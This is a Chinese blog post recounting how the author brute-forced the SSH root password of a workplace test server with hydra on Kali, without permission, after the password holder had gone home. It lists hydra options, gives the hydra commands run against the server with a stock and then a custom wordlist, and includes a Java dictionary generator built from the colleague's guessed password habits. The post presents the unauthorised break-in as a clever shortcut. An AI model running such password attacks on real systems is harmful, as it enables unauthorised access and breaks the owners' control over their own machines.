hydra暴力破解ssh服务器密码
概述
我都没想到,第一次暴力破解服务器密码。竟然是对自己的单位服务器出手。。囧,因为还没来得及找测试部要来服务器登录密码,测试部负责人已经下班走了。后来又联系不上,这要更新代码,怎么办。。于是就对测试部的服务器动了歪脑筋,试验一波爆破神器hydra,本篇随笔仅供技术交流。
hydra
关于hydra的历史就不多做介绍,毕竟这么强大来头应该不小。因为也是初次使用,就来得及瞄了一眼参考说明,然后就进入正题。这款工具不管在windows还是Centos都是可以安装的,lz因为有Kali这件安全测试神器,所以就免去安装hydra的痛苦。这个是自带hydra的
hydra工具使用和你在Linux使用命令区别并不大,先看下参考说明
-R 继续上一次进度破解
-S 采用SSL连接
-s PORT 指定非默认端口
-l LOGIN 指定要破解的用户
-L FILE 指定用户名字典破解
-P FILE 指定要使用的密码字典破解
-C FILE 使用冒号分割的格式,如“login:pass”来替代-L/-P参数
-t TASKS 同时运行的线程数量
-w TIME 设置最大超时时间,单位秒
确认下和目标主机是否存活,假设目标主机是192.168.0.110 ping 192.168.0.110
因为是单位内部服务器,端口号是提前知道的,若对于一台完全陌生的主机,需要进行踩点和收集信息,先用kali自带的常用密码字典破解试试手
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 11 -s 20000 ssh://192.168.0.110
经过尝试,发现无法完成破解。hydra破解是基于强大的密码字典工具,lz回想了一下测试部负责人常用的密码规律,于是自己写了一个密码字典组合
PassWord类
public class PassWord { public static void main(String[] args) throws Exception { BufferedWriter out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream("D://dic.txt"),"utf-8")); String[] str = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"}; for (int i = 0;i < str.length;++i) { for (int j = 0;j < str.length;++j) { String tmp = "";
//算法部分 out.write(tmp + "\n"); } } for (int i = str.length - 1;i > 0;i--) { for (int j = str.length - 1;j > 0;j--) {
String tmp = ""; //算法部分 out.write(tmp + "\n"); } }
/*不规范写法,临时需求*/ out.close(); System.out.println("密码本生成完毕!!!"); } }
生成字典之后,将dic.txt文件移到kali目录下,再次尝试破解
hydra -l root -P /root/dic.txt -t 6 -s 20000 ssh://192.168.0.110
这次服务器密码成功被获取到了,接下来更新代码就简单了。
======================================================
如发现错误,请及时留言,lz及时修改,避免误导后来者。感谢!!!